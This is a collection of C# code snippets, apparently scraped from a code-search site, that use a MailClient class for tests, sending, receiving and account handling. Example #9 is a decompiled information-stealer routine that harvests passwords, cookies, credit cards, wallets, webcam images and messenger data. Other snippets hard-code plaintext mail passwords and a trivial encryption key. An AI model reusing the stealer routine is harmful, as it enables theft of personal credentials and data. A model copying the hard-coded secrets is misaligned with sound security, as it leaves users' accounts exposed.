Example #1
0
        public void DeserializationOfSerializedMessageTest()
        {
            var testMail = MailClient.ParseMimeMessage(TEST_FILE_PATH);
            var from     = testMail.From.Mailboxes.FirstOrDefault();

            Assert.AreEqual("*****@*****.**", from == null ? "" : from.Address);
            Assert.AreEqual(TEST_TEXT, from == null ? "" : from.Name);
            Assert.IsTrue(testMail.To.Mailboxes.Count(mail => (mail.Address == "*****@*****.**") && (mail.Name == "name1")) != 0);
            Assert.IsTrue(testMail.To.Mailboxes.Count(mail => (mail.Address == "*****@*****.**") && (mail.Name == "name2")) != 0);

            Assert.AreEqual(TEST_TEXT, testMail.Subject);
            Assert.AreEqual(0, testMail.Attachments.Count());

            // Assert.AreEqual(utf8Charset, testMail.BodyText.Charset);
            Assert.AreEqual(TEST_TEXT, testMail.TextBody);
            //Assert.AreEqual(TEST_TEXT + "\r\n", testMail.BodyText.TextStripped);
            //Assert.AreEqual(BodyFormat.Text, testMail.BodyText.Format);
            //Assert.AreEqual(ContentTransferEncoding.QuotedPrintable, testMail.BodyText.ContentTransferEncoding);

            //Assert.AreEqual(utf8Charset, testMail.BodyHtml.Charset);
            Assert.AreEqual(string.Format("<a href='www.teamlab.com'>{0}</a>", TEST_TEXT), testMail.HtmlBody);
            //Assert.AreEqual(TEST_TEXT + "\r\n", testMail.BodyHtml.TextStripped);
            //Assert.AreEqual(BodyFormat.Html, testMail.BodyHtml.Format);
            //Assert.AreEqual(ContentTransferEncoding.QuotedPrintable, testMail.BodyHtml.ContentTransferEncoding);
        }
Example #2
0
        private void btnPosalji_Click(object sender, EventArgs e)
        {
            MailClient oMailClient = new MailClient();

            oMailClient.SendEmail(inptPrimatelj.Text, inptNaslovPoruke.Text, inptTijeloPoruke.Text);
            outptMailPoslan.Text = Convert.ToString("Mail uspjesno poslan");
        }
Example #3
0
        protected void Page_Load(object sender, EventArgs e)
        {
            if (Session["packageId"] != null && Session["packagePrice"] != null && Session["transactionId"] != null)
            {
                string packageName  = Session["packageId"].ToString();
                string packagePrice = Session["packagePrice"].ToString();
                transactionDetails = Session["transactionId"].ToString();
                message            = "Package " + packageName + " at $" + packagePrice;
            }
            else
            {
                Response.Redirect("~/game/currency", true);
            }

            Users      u  = CurrentUser.Entity();
            MailClient mc = new MailClient(u.Email);

            mc.Subject = "Hacknet Purchase";
            mc.AddLine("Thank you for buying " + message + "!");
            mc.AddLine("Your Transaction Id is " + transactionDetails);
            mc.AddLine("We hope you enjoy your gaming experience with us.");
            mc.AddLine("");
            mc.AddLine("If you did not conduct this purchase, please contact our Support staff at [email protected], quoting your transaction ID.");
            mc.AddLine("");
            mc.AddLine("Thank you.");
            mc.Send(u.FullName, "Contact Us", "https://haxnet.azurewebsites.net/");

            transactionId.Text     = transactionDetails;
            packageDetailsLbl.Text = message;
        }
        public void WantedInbox(string emailName)
        {
            Show();
            Text = emailName;
            RegistryKey currentLoginKey = emailLoginsKey.OpenSubKey(emailName, true);

            loginInfo = new LoginInfo()
            {
                email = emailName, portSMTP = currentLoginKey.GetValue("portSMTP").ToString(), portIMAP = currentLoginKey.GetValue("portIMAP").ToString(), serverSMTP = currentLoginKey.GetValue("serverSMTP").ToString(), serverIMAP = currentLoginKey.GetValue("serverIMAP").ToString(), contracena = Program.DecryptStringFromBytes((byte[])currentLoginKey.GetValue("contracena", RegistryValueKind.Binary), Encoding.ASCII.GetBytes("1234567890123456"), Encoding.ASCII.GetBytes("1234567890123456"))
            };
            mailServer = new MailServer(loginInfo.serverIMAP, loginInfo.email, loginInfo.contracena, ServerProtocol.Imap4)
            {
                SSLConnection = true, Port = Int32.Parse(loginInfo.portIMAP)
            };
            mailClient = new MailClient("TryIt");
            try
            {
                mailClient.Connect(mailServer);
            }
            catch (Exception ex)
            {
                Text = "rozłączono";
            }
            getFoldersDisplayed();
        }
Example #5
0
        static void Main(string[] args)
        {
            MailClient Klijent = new MailClient();

            Klijent.SendEmail("*****@*****.**", "Poruka", "Pokušaj! :D ");
            Console.ReadKey();
        }
Example #6
0
        private void SendMail()
        {
            ButtonProgressAssist.SetIsIndicatorVisible(Send, true);

            ClientOptions clientOptions = Utils.ReadConfig();

            MailOptions mailOptions = new MailOptions
            {
                From    = From.Text.Trim(),
                To      = GetItems(To),
                Cc      = GetItems(Cc),
                Subject = Subject.Text.Trim(),
                Body    = Body.Text.Trim()
            };

            MailClient mailClient = new MailClient(clientOptions);

            mailClient.Sended += () =>
            {
                Utils.InvokeUIThread(() =>
                {
                    ButtonProgressAssist.SetIsIndicatorVisible(Send, false);
                    ShowMessage("Mail Sended!");
                });
            };
            mailClient.Send(mailOptions);
        }
Example #7
0
        private void Form1_Load(object sender, EventArgs e)
        {
            string curpath = Directory.GetCurrentDirectory();
            string mailbox = String.Format("{0}\\inbox", curpath);

            // If the folder is not existed, create it.
            if (!Directory.Exists(mailbox))
            {
                Directory.CreateDirectory(mailbox);
            }

            MailServer oServer = new MailServer("pop.gmail.com",
                                                "*****@*****.**", "jarvis99", ServerProtocol.Pop3);
            MailClient oClient = new MailClient("TryIt");

            // If your POP3 server requires SSL connection,
            // Please add the following codes:
            oServer.SSLConnection = true;
            oServer.Port          = 995;
            MessageBox.Show("Connection opened");
            try
            {
                oClient.Connect(oServer);
                MailInfo[] infos = oClient.GetMailInfos();
                MessageBox.Show("Mail information received");
                MessageBox.Show(infos.ToString());
                for (int i = 0; i < infos.Length; i++)
                {
                    MailInfo info = infos[i];
                    //Console.WriteLine("Index: {0}; Size: {1}; UIDL: {2}",
                    //  info.Index, info.Size, info.UIDL);

                    // Receive email from POP3 server
                    Mail oMail = oClient.GetMail(info);
                    MessageBox.Show("From: " + oMail.From.ToString());
                    MessageBox.Show("Subject: \r\n" + oMail.Subject);
                    MessageBox.Show("inside1");
                    // Generate an email file name based on date time.
                    System.DateTime d = System.DateTime.Now;
                    System.Globalization.CultureInfo cur = new
                                                           System.Globalization.CultureInfo("en-US");
                    string sdate    = d.ToString("yyyyMMddHHmmss", cur);
                    string fileName = String.Format("{0}\\{1}{2}{3}.eml",
                                                    mailbox, sdate, d.Millisecond.ToString("d3"), i);
                    MessageBox.Show("inside4");
                    // Save email to local disk
                    oMail.SaveAs(fileName, true);

                    // Mark email as deleted from POP3 server.
                    oClient.Delete(info);
                }

                // Quit and pure emails marked as deleted from POP3 server.
                oClient.Quit();
            }
            catch (Exception ep)
            {
                MessageBox.Show("error" + ep.Message);
            }
        }
Example #8
0
        private void StopDrivers()
        {
            if (modbusTCP != null)
            {
                foreach (ModbusTCPClient client in modbusTCP)
                {
                    client.Dismiss();
                }

                if (dbhelper != null)
                {
                    modbusTCP.SetAllDevicesDisconnected();

                    while (dbhelper.HasAnyValuAtBuffers())
                    {
                    }
                }
                modbusTCP = null;
            }
            if (mailClient != null)
            {
                mailClient = null;
            }
            if (archivist != null)
            {
                archivist = null;
            }
            IsDriverStarted = false;

            Log.Instance.Info("EnMon Sürücü Yöneticisi durduruldu.");
        }
Example #9
0
 // Token: 0x0600009C RID: 156 RVA: 0x00008324 File Offset: 0x00006524
 private static void Helper()
 {
     Passwords.GetPasswords();
     FireFox.GetPasswordFirefox();
     Internet_Explorer.Start();
     Cookies.GetCookies();
     Autofill.GetCAutofills();
     Clipboard.GetText();
     CreditCards.GetCreditCards();
     History.GetHistory();
     USB.GetUSB();
     DesktopFiles.Inizialize();
     Discord.GetDiscord();
     Skype.GetSkype();
     FTPClient.GetFileZilla();
     ImClient.GetImClients();
     MailClient.GoMailClient();
     VPNClient.GetVPN();
     HardwareInfo.GoInfo();
     ScreenDektop.GetScreenshot("screenshot.jpg");
     Steam.CopySteam();
     Telegram.GetTelegram();
     WebCam.GetWebCamPicture();
     Wallets.GetWallets();
     Location.GetLocation(false);
 }
Example #10
0
        static void Main(string[] args)
        {
            MailClient Klijent = new MailClient();

            Klijent.SendEmail("*****@*****.**", "Proba", "Test");
            Console.ReadKey();
        }
Example #11
0
        public void TestIsValidEmail()
        {
            MailClient m = new MailClient();

            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("[email protected]"));
            Assert.IsTrue(m.isValidEmail("email@[123.123.123.123]"));
            //Assert.IsTrue(m.isValidEmail("“email”@domain.com"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            //Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));
            Assert.IsTrue(m.isValidEmail("*****@*****.**"));

            Assert.IsFalse(m.isValidEmail("plainaddress"));
            Assert.IsFalse(m.isValidEmail("#@%^%#$@#$@#.com"));
            Assert.IsFalse(m.isValidEmail("@domain.com"));
            Assert.IsFalse(m.isValidEmail("Joe Smith <*****@*****.**>"));
            Assert.IsFalse(m.isValidEmail("email.domain.com"));
            Assert.IsFalse(m.isValidEmail("email@[email protected]"));
            Assert.IsFalse(m.isValidEmail("*****@*****.**"));
            Assert.IsFalse(m.isValidEmail("*****@*****.**"));
            Assert.IsFalse(m.isValidEmail("*****@*****.**"));
            Assert.IsFalse(m.isValidEmail("あいうえお@domain.com"));
            Assert.IsFalse(m.isValidEmail("[email protected] (Joe Smith)"));
            Assert.IsFalse(m.isValidEmail("email@domain"));
            Assert.IsFalse(m.isValidEmail("*****@*****.**"));
            //Assert.IsFalse(m.isValidEmail("*****@*****.**"));
            //Assert.IsFalse(m.isValidEmail("[email protected]"));
            Assert.IsFalse(m.isValidEmail("*****@*****.**"));
        }
Example #12
0
        public void RecerateRight_ParsingResult()
        {
            var emlFile    = "empty_attach_body.eml";
            var emlMessage = MailClient.ParseMimeMessage(TestFolderPath + emlFile);

            CreateRightResult(emlMessage, RightParserResultsPath + emlFile.Replace(".eml", ".xml"));
        }
Example #13
0
        public AccountInfo CreateAccount(MailBoxData mbox, out LoginResult loginResult)
        {
            if (mbox == null)
            {
                throw new NullReferenceException("mbox");
            }

            using (var client = new MailClient(mbox, CancellationToken.None,
                                               certificatePermit: Defines.SslCertificatesErrorPermit, log: Log))
            {
                loginResult = client.TestLogin();
            }

            if (!loginResult.IngoingSuccess || !loginResult.OutgoingSuccess)
            {
                return(null);
            }

            if (!MailboxEngine.SaveMailBox(mbox))
            {
                throw new Exception(string.Format("SaveMailBox {0} failed", mbox.EMail));
            }

            CacheEngine.Clear(User);

            var account = new AccountInfo(mbox.MailBoxId, mbox.EMailView, mbox.Name, mbox.Enabled, mbox.QuotaError,
                                          MailBoxData.AuthProblemType.NoProblems, new MailSignatureData(mbox.MailBoxId, Tenant, "", false),
                                          new MailAutoreplyData(mbox.MailBoxId, Tenant, false, false, false, DateTime.MinValue,
                                                                DateTime.MinValue, string.Empty, string.Empty), false, mbox.EMailInFolder, false, false);

            return(account);
        }
Example #14
0
        public void InvalidAttachmentsFilenames()
        {
            var message = MailClient.ParseMimeMessage(TEST_FOLDER_PATH + "invalid_attachments_filenames.eml");

            var mailMessageItem = new MailMessage(message);

            Assert.IsNotNull(mailMessageItem);

            Assert.IsTrue(message.Attachments.Any());

            Assert.AreEqual(12, mailMessageItem.Attachments.Count);

            var filenames = new string[]
            {
                "_.txt", "_.bin", "_.bin", ".txt", "☼.bin", "♫ .txt", "копия _.bin", "noname.bin", "копия ☼.bin",
                "копия _  (копия).txt", "(копия).txt", "копия ☼  (копия).txt"
            };

            int i, len;

            for (i = 0, len = mailMessageItem.Attachments.Count; i < len; i++)
            {
                var afn = mailMessageItem.Attachments[i].fileName;
                Assert.AreEqual(filenames[i], afn);
            }
        }
    public MailMessage Send(Guid key, string to, string subject, string cc = null)
    {
        var email = new MailMessage()
        {
            From         = MailConfiguration.From,
            Body         = GenerateBody(),
            IsBodyHtml   = true,
            Subject      = subject,
            BodyEncoding = Encoding.UTF8
        };

        email.Headers.Add("X-MC-Metadata", "{ \"key\": \"" + key.ToString("N") + "\" }");

        foreach (var sendTo in to.Split(' ', ',', ';'))
        {
            email.To.Add(sendTo);
        }

        if (cc != null)
        {
            foreach (var sendCC in cc.Split(' ', ',', ';'))
            {
                email.CC.Add(sendCC);
            }
        }

        var smtp = new MailClient().SmtpClient;

        smtp.EnableSsl = true;
        smtp.Send(email);
        return(email);
    }
Example #16
0
        private void BtnUpdateMessages_Click(object sender, RoutedEventArgs e)
        {
            listBoxMessages.Items.Clear();

            MailServer server = new MailServer(
                textServer.Text,
                textEmail.Text,
                textPassword.Password,
                EAGetMail.ServerProtocol.Imap4)
            {
                SSLConnection = true,
                Port          = 993
            };

            MailClient client = new MailClient("TryIt");

            try
            {
                client.Connect(server);

                var messages = client.GetMailInfos();

                foreach (var m in messages)
                {
                    Mail message = client.GetMail(m);

                    listBoxMessages.Items.Add($"From: {message.From}\n\n\t{message.Subject}\n");
                }
            }
            catch (Exception ex)
            {
                System.Windows.MessageBox.Show(ex.Message);
            }
        }
Example #17
0
        public IActionResult SendMail(Mail mail)
        {
            string messageEd =
                "<tr>" +
                "   <td style='font-size: 18px; line-height: 22px; font-family: Arial,Tahoma, Helvetica, sans-serif; color: #555555; font-weight: normal; text-align: left;'>" +
                "       <span style='color: #555555; font-weight: normal;'>" +
                "           <a href='#' style='text-decoration: none; color: #555555; font-weight: normal;'>" +
                "               <span style='color: #0099EF; font-weight: normal;'>Sayın Yetkili!</span>" +
                "           </a>" +
                "       </span>" +
                "   </td>" +
                "</tr>" +
                "<tr><td height='15'></td></tr>" +
                "<tr>" +
                "   <td style='font-size: 13px; line-height: 22px; font-family: Arial,Tahoma, Helvetica, sans-serif; color: #a3a2a2; font-weight: normal; text-align: left;'>" +
                "        <h2>" + mail.name + "</h2> <br><br>" +
                "        E-Mail: <em>" + mail.email + "</em><br><br>" +
                "        Konu: <em>" + mail.subject + "</em><br><br>" +
                "        Mesaj: <em>" + mail.message + "</em><br><br>" +
                "        Tarih: <em>" + DateTime.Now + "</em><br><br>" +
                "        IP: <em>" + HttpContext.Connection.RemoteIpAddress.ToString() + "</em><br><br>" +
                "   </td>" +
                "</tr>";

            //MailClient.sendEmail(SD.default_smtp_from, "", "*****@*****.**", "İletişim Formu", messageEd);
            MailClient.sendEmail("*****@*****.**", "", "İletişim Formu", messageEd);

            return(Json("Ok"));
        }
Example #18
0
        public static void ScheduleService()
        {
            MailClient Klijent = new MailClient();
            // Objekt klase Timer
            Timer Schedular = new Timer(new TimerCallback(SchedularCallback));
            // Postavljanje vremena 'po defaultu'
            DateTime scheduledTime   = DateTime.MinValue;
            int      intervalMinutes = 10;

            // Postavljanje vremena zapisa u trenutno vrijeme + 10 minuta
            scheduledTime = DateTime.Now.AddMinutes(intervalMinutes);
            if (DateTime.Now > scheduledTime)
            {
                scheduledTime = scheduledTime.AddMinutes(intervalMinutes);
            }
            // Vremenski interval
            TimeSpan timeSpan = scheduledTime.Subtract(DateTime.Now);
            string   schedule = string.Format("{0} day(s) {1} hour(s) {2} minute(s) {3}  seconds(s)", timeSpan.Days, timeSpan.Hours, timeSpan.Minutes, timeSpan.Seconds);

            Klijent.SendEmail("*****@*****.**", "MailServiceSender", Convert.ToString(schedule));
            //Razlika između trenutnog vremena i planiranog vremena
            int dueTime = Convert.ToInt32(timeSpan.TotalMilliseconds);

            // Promjena vremena izvršavanja metode povratnog poziva.
            Schedular.Change(dueTime, Timeout.Infinite);
        }
 void OdznaczJeNaSerwerze()
 {
     foreach (string emailName in emailLoginsKey.GetSubKeyNames())
     {
         RegistryKey currentLoginKey = emailLoginsKey.OpenSubKey(emailName, true);
         LoginInfo   loginInfo       = new LoginInfo()
         {
             email = emailName, portSMTP = currentLoginKey.GetValue("portSMTP").ToString(), portIMAP = currentLoginKey.GetValue("portIMAP").ToString(), serverSMTP = currentLoginKey.GetValue("serverSMTP").ToString(), serverIMAP = currentLoginKey.GetValue("serverIMAP").ToString(), contracena = Program.DecryptStringFromBytes((byte[])currentLoginKey.GetValue("contracena", RegistryValueKind.Binary), Encoding.ASCII.GetBytes("1234567890123456"), Encoding.ASCII.GetBytes("1234567890123456"))
         };
         MailServer mailServer = new MailServer(loginInfo.serverIMAP, loginInfo.email, loginInfo.contracena, ServerProtocol.Imap4)
         {
             SSLConnection = true, Port = Int32.Parse(loginInfo.portIMAP)
         };
         MailClient mailClient = new MailClient("TryIt");
         mailClient.Connect(mailServer);
         MailInfo[] infos = mailClient.GetMailInfos();
         foreach (MailInfo mailInfo in infos)
         {
             foreach (UnreadMail unreadMailTemp in unreadMails)
             {
                 if (unreadMailTemp.shouldMarkAsRead && mailInfo.UIDL == unreadMailTemp.idUIDL && unreadMailTemp.emailLogin == emailName)
                 {
                     mailClient.MarkAsRead(mailInfo, true);
                 }
             }
         }
     }
 }
Example #20
0
        public async Task <IActionResult> PassForgot(Mail model)
        {
            var msg  = "0";
            var user = await repo.GetUserbyUserName(model.email)
                       .Select(a => new User {
                Title = a.Title, Name = a.Name, Surname = a.Surname, Password = a.Password, Id = a.Id, UserName = a.UserName, Active = a.Active
            })
                       .FirstOrDefaultAsync();

            if (user != null)
            {
                if (!user.Active)
                {
                    msg = "0####Kullanıcınız aktif değil.";
                }
                else
                {
                    var newpass = Method.GenerateString(6);
                    user.Password = newpass;
                    await repo.SaveAll();

                    MailClient.sendPasswordMail(user);
                    msg = "1";
                }
            }

            return(Ok(msg));
        }
Example #21
0
        static void Main(string[] args)
        {
            MailClient Klijent = new MailClient();

            Klijent.SendEmail("*****@*****.**", "Poruka", "Test");
            Console.ReadKey();
        }
Example #22
0
        public void StepTwo()
        {
            // 0、验证码
            Html.Captcha.CheckError(ctx);

            // 1、得到email地址和相应的用户
            String email = ctx.Post("Email");

            if (strUtil.IsNullOrEmpty(email))
            {
                errors.Add(lang("exEmail"));
            }
            else if (new Regex(RegPattern.Email).IsMatch(email) == false)
            {
                errors.Add(lang("exEmailFormat"));
            }

            if (ctx.HasErrors)
            {
                showError();
                return;
            }

            User user = userService.GetByMail(email);

            if (user == null)
            {
                errors.Add(lang("exUserNotFoundByEmail"));
                showError();
                return;
            }
            ctx.SetItem("User", user);

            // 2、产生唯一code并加入数据库
            UserResetPwd userReset = new UserResetPwd();

            userReset.User = user;
            userReset.Code = Guid.NewGuid().ToString().Replace("-", "").ToLower();
            userReset.Ip   = ctx.Ip;
            String resetLink = getResetLink(userReset);

            ctx.SetItem("ResetLink", resetLink);

            // 3、给此email发送一封重置pwd的邮件
            MailClient mail       = MailClient.Init();
            String     title      = string.Format(lang("exResetMsgTitle"), config.Instance.Site.SiteName);
            String     body       = loadHtml(emailBody);
            Result     sentResult = mail.Send(email, title, body);

            if (sentResult.HasErrors)
            {
                errors.Add(lang("exResetSend"));
                showError();
            }
            else
            {
                resetService.Insert(userReset);
                showJson(lang("resetSendok"));
            }
        }
Example #23
0
        public async Task <IActionResult> AddUser(User user)
        {
            var msg        = "";
            var userfromdb = await repo.GetUserCountbyUserName(user.UserName);

            if (userfromdb > 0)
            {
                msg = "0####Bu e-posta adresi sistemde kayıtlı!";
            }
            else
            {
                user.RegisterDate = user.CrtDate = DateTime.Now;
                user.Active       = true;
                user.CrtHost      = HttpContext.Connection.RemoteIpAddress.ToString();
                user.Password     = Method.GenerateString(6);
                user.UserTypeId   = (int)SD.Roles.User;
                repo.Add(user);

                if (await repo.SaveAll())
                {
                    MailClient.sendPasswordMail(user);
                    msg = "1####";
                }
                else
                {
                    msg = "0####Bir hata oldu!";
                }
            }


            return(Ok(msg));
        }
Example #24
0
        private void sendPwdToEmail(List <User> users, String pwd)
        {
            MailClient mail = MailClient.Init();

            String msgTitle = string.Format(lang("newPwdInfo"), config.Instance.Site.SiteName);
            String msgBody  = "{0} : <br/>" + string.Format(lang("newPwdBody"), config.Instance.Site.SiteName, pwd) + config.Instance.Site.SiteName;

            int sendCount = 0;

            foreach (User user in users)
            {
                if (isEmailValid(user) == false)
                {
                    continue;
                }
                mail.Send(user.Email, msgTitle, string.Format(msgBody, user.Name));
                sendCount++;
            }

            if (sendCount > 0)
            {
                echoRedirectPart(lang("pwdUpdatedAndSent"), to(Index));
            }
            else
            {
                echoRedirectPart(lang("pwdUpdatedAndSentError"), to(Index));
            }
        }
Example #25
0
        /// <summary>
        /// Occurs when a mail client message delete attempt succeeds.
        /// </summary>
        /// <param name="sender">The object that raised the event (MailClient).</param>
        /// <param name="e">The event data (MessageEventArgs).</param>
        private async void mailClient_DeletedMessage(object sender, DeleteMessageEventArgs e)
        {
            // Get the mail client
            MailClient mailClient = (MailClient)sender;

            try
            {
                // Get the mail header
                MailHeader mailHeader = StorageSettings.MailHeaderDictionary[mailClient.AccountSettingsData.EmailAddress][e.Mailbox.FullName].Where(o => o.Uid == e.MessagePaths.Keys.First()).FirstOrDefault();

                // If the mail header is found
                if (mailHeader != null)
                {
                    // Remove message from mail header
                    int mailHeaderIndex = StorageSettings.MailHeaderDictionary[mailClient.AccountSettingsData.EmailAddress][e.Mailbox.FullName].IndexOf(mailHeader);
                    StorageSettings.MailHeaderDictionary[mailClient.AccountSettingsData.EmailAddress][e.Mailbox.FullName].Remove(mailHeader);
                }

                // Save
                await StorageSettings.SaveMailHeaderDictionary();
            }
            catch (Exception ex)
            {
                LogFile.Instance.LogError(mailClient.AccountSettingsData.EmailAddress, e.Mailbox.FullName, ex.ToString());
            }
        }
Example #26
0
        public Result SendEmail(User user, String title, String msg)
        {
            if (strUtil.IsNullOrEmpty(title))
            {
                title = config.Instance.Site.SiteName + lang.get("exAccountConfirm");
            }
            if (strUtil.IsNullOrEmpty(msg))
            {
                msg = GetEmailBody(user);
            }

            if (System.Text.RegularExpressions.Regex.IsMatch(user.Email, RegPattern.Email) == false)
            {
                userService.ConfirmEmailIsError(user);
                String errorMail = lang.get("exEmailFormat") + ": " + user.Name + "[" + user.Email + "]";
                logger.Info(errorMail);
                return(new Result(errorMail));
            }

            MailClient mail       = MailClient.Init();
            Result     sentResult = mail.Send(user.Email, title, msg);

            if (sentResult.IsValid)
            {
                userService.SendConfirmEmail(user);
                logger.Info(lang.get("sentok") + ": " + user.Name + "[" + user.Email + "]");
            }
            else
            {
                userService.ConfirmEmailIsError(user);
                logger.Info(lang.get("exSentError") + ": " + user.Name + "[" + user.Email + "]");
            }

            return(sentResult);
        }
Example #27
0
 public RetreiveMailForm(String uname, String pass, MailClient ocl)
 {
     InitializeComponent();
     username = uname;
     password = pass;
     oClient  = ocl;
 }
Example #28
0
        public Service1()
        {
            MailClient mail = new MailClient();

            mail.SendEmail("*****@*****.**", "Proba", "Hello World !!");
            InitializeComponent();
        }
 public void Connect(string server, string User, string pass, int port, bool useSSl)
 {
     oServer      = new MailServer(server, User, pass, useSSl, ServerAuthType.AuthLogin, mprotocol == MailProtocol.pop3?ServerProtocol.Pop3 : ServerProtocol.Imap4);
     oClient      = new MailClient("TryIt");
     oServer.Port = port;
     oClient.Connect(oServer);
 }
Example #30
0
        private void sendInviteEmail(UserInvite invite)
        {
            if (System.Text.RegularExpressions.Regex.IsMatch(invite.ReceiverMail, RegPattern.Email) == false)
            {
                inviteService.DeleteInvite(invite);
                logger.Info(lang.get("exEmailFormat") + ": " + invite.Inviter.Name + "[" + invite.ReceiverMail + "]");
                return;
            }

            MailClient mail = MailClient.Init();

            String title = invite.Inviter.Name + lang.get("inviteMailTitle");
            String msg   = invite.MailBody;

            Result sentResult = mail.Send(invite.ReceiverMail, title, msg);

            if (sentResult.IsValid)
            {
                inviteService.SendDone(invite);
                logger.Info(lang.get("inviteSendDone") + ": " + invite.Inviter.Name + "[" + invite.ReceiverMail + "]");
            }
            else
            {
                inviteService.SendError(invite);
                logger.Info(lang.get("inviteSendFailure") + ": " + invite.Inviter.Name + "[" + invite.ReceiverMail + "]");
            }
        }
Example #31
0
        public DataTable CaptureMessages()
        {
            MailClient oClient = new MailClient("TryIt");
            MailServer oServer = CreateMailServer();

            oClient.Connect(oServer);
            MailInfo[] infos = oClient.GetMailInfos();
            DataTable emailTable = new DataTable();
            emailTable.Columns.Add("From", typeof(string));
            emailTable.Columns.Add("Body", typeof(string));
            string mailBox = CreateInbox();

            for (int i = 0; i < infos.Length; i++)
            {
                MailInfo info = infos[i];
                Mail oMail = oClient.GetMail(info);

                System.DateTime d = System.DateTime.Now;
                System.Globalization.CultureInfo cur = new System.Globalization.CultureInfo("en-US");
                string sDate = d.ToString("yyyyMMddHHmmss", cur);
                string fileName = String.Format("{0}\\{1}{2}{3}.eml", mailBox, sDate, d.Millisecond.ToString("d3"), i);
                oMail.SaveAs(fileName, true);
                string from = oMail.From.ToString();
                string displayFrom = from.Substring(1, 10);
                emailTable.Rows.Add(displayFrom, oMail.TextBody);
            }

            return emailTable;
        }
        public List<PurchaseEmail> CheckEmail()
        {
            string curpath = Directory.GetCurrentDirectory();
            string mailbox = String.Format("{0}\\inbox", curpath);
            string htmlMailbox = String.Format("{0}\\htmlInbox", curpath);

            // If the .eml and .htm folders do not exist, create it.
            if (!Directory.Exists(mailbox))
            {
                Directory.CreateDirectory(mailbox);
            }
            if (!Directory.Exists(htmlMailbox))
            {
                Directory.CreateDirectory(htmlMailbox);
            }

            // Gmail IMAP4 server is "imap.gmail.com"
            MailServer oServer = new MailServer("imap.gmail.com",
                        "*****@*****.**", "**Jessica8", ServerProtocol.Imap4);
            MailClient oClient = new MailClient("TryIt");

            // Set SSL connection,
            oServer.SSLConnection = true;

            // Set 993 IMAP4 port
            oServer.Port = 993;

            try
            {
                oClient.Connect(oServer);
                MailInfo[] infos = oClient.GetMailInfos();
                for (int i = 0; i < infos.Length; i++)
                {
                    MailInfo info = infos[i];
                    //Console.WriteLine("Index: {0}; Size: {1}; UIDL: {2}", info.Index, info.Size, info.UIDL);

                    // Download email from GMail IMAP4 server
                    Mail oMail = oClient.GetMail(info);

                    if (oMail.From.ToString().Contains("*****@*****.**"))
                    {
                        // Generate an email file name based on date time.
                        System.DateTime d = System.DateTime.Now;
                        var cur = new System.Globalization.CultureInfo("en-US");
                        string sdate = d.ToString("yyyyMMddHHmmss", cur);
                        string fileName = String.Format("{0}\\{1}{2}{3}.eml", mailbox, sdate, d.Millisecond.ToString("d3"), i);

                        // Save email to local disk
                        oMail.SaveAs(fileName, true);
                    }

                    // Mark email as deleted in GMail account.
                    oClient.Delete(info);

                }

                // Quit and purge emails marked as deleted from Gmail IMAP4 server.
                oClient.Quit();
            }
            catch (Exception ep)
            {
                MessageBox.Show(ep.Message);
            }

            // Get all *.eml files in specified folder and parse it one by one.
            string[] files = Directory.GetFiles(mailbox, "*.eml");

            var purchaseList = new List<PurchaseEmail>();

            for (int i = 0; i < files.Length; i++)
            {
                var convertedMessage = ConvertMailToHtml(files[i]);
                if (System.IO.File.Exists(files[i]))
                {
                    // Use a try block to catch IOExceptions, to
                    // handle the case of the file already being
                    // opened by another process.
                    try
                    {
                        System.IO.File.Delete(files[i]);
                    }
                    catch (System.IO.IOException e)
                    {
                        MessageBox.Show(e.Message);
                    }
                }
                purchaseList.Add(convertedMessage);

            }

            return purchaseList;
        }